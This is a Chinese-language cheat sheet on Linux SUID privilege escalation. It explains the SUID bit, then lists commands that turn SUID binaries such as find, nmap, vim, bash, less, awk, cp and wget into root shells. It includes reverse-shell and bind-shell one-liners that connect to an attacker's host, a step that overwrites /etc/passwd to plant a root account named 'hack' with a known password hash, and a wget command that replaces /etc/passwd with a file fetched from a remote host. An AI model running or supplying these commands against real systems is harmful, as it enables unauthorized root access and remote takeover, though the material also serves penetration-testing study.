SUID提权
概述:
SUID 是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限。
若是对一些特殊命令设置了SUID,那么就会有被提权的风险,常用的SUID提权命令有nmap、vim、find、bash、more、less、nano、awk和cp等。
当s出现在文件所有者的x权限时,被称为 “set uid” 简称SUID,SUID 对一个文件的限制与功能包括有:
(1)SUID仅对二进制有效
(2)执行者对于该程序需要有x的可执行权限
(3)本权限仅在程序的执行过程中有效
1、设置SUID权限:
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
2、 收集具有SUID权限的文件:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
- /表示从文件系统的顶部(根)开始并找到每个目录
- -perm 表示搜索随后的权限
- -u = s表示查找root用户拥有的文件
- -type表示我们正在寻找的文件类型
- f 表示常规文件,而不是目录或特殊文件
- 2表示该进程的第二个文件描述符,即stderr(标准错误)
- /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
3、提权利用
3.1 find提权
find /etc/passwd -exec whoami \;
root
进入shell:
find /etc/passwd -exec '/bin/sh' \;
sh-5.0# whoami
root
nc 正向连接shell:
find user -exec nc -lvp 4444 -e '/bin/sh' \;
在攻击机上:
nc 靶机ip 4444
nc反弹shell:
find /etc/passwd -exec nc -e /bin/bash x.x.x.x port \;
find /etc/passwd -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;
在攻击机上:
nc -lnvp 4444
3.2 nmap提权
进入nmap交互模式:(适用版本:nmap2.02~5.21)
nmap --interactive
交互模式中提权:
nmap> !sh
sh-3.2# whoami
root
没有交互的最新方式:(全版本通杀提权)
echo "os.execute('/bin/bash')" > /tmp/shell
nmap --script=/tmp/shell
3.3 Vim提权
以SUID运行,继承root用户的权限,因此可以读取系统上的所有文件。
vim /etc/passwd
:set shell = '/bin/sh'
:shell
3.4 bash提权
以root身份打开一个bash shell:
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
3.5 less提权
less /etc/passwd
#在less中输入:
!/bin/sh
3.6 more提权
more /etc/passwd
#在more中输入:
!/bin/sh
注意:使用more和less命令,一定是读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell。
3.7 nano提权
nano #进入nano编辑器
Ctrl + R
Ctrl + X
#即可输入命令
3.8 cp、mv提权
使用cp、mv命令覆盖原来的/etc/passwd文件。
[zabbix@localhost ~]$ cat /etc/passwd >passwd
[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
$1$hack$WTn0dk2QjNeKfl.DHOUue0
[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/
[zabbix@localhost ~]$ cp passwd /etc/passwd #mv passwd /etc/passwd
[zabbix@localhost ~]$ su - hack
Password:
[root@361way ~]# id
uid=0(hack) gid=0(root) groups=0(root)
[root@361way ~]# cat /etc/passwd|tail -1
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
3.9 awk提权
awk 'BEGIN {system("/bin/bash")}'
3.10 man提权
man passwd
!/bin/bash
3.11 wget
wget http://192.168.56.1:8080/passwd -O /etc/passwd
3.12 python/perl/ruby/lua/php/etc
python:
python -c "import os;os.system('/bin/bash')"
perl:
perl -e 'exec "/bin/bash";'
ruby:
ruby -e 'exec "/bin/bash";'
php:
php -a #进入php shell
exec("/bin/bash");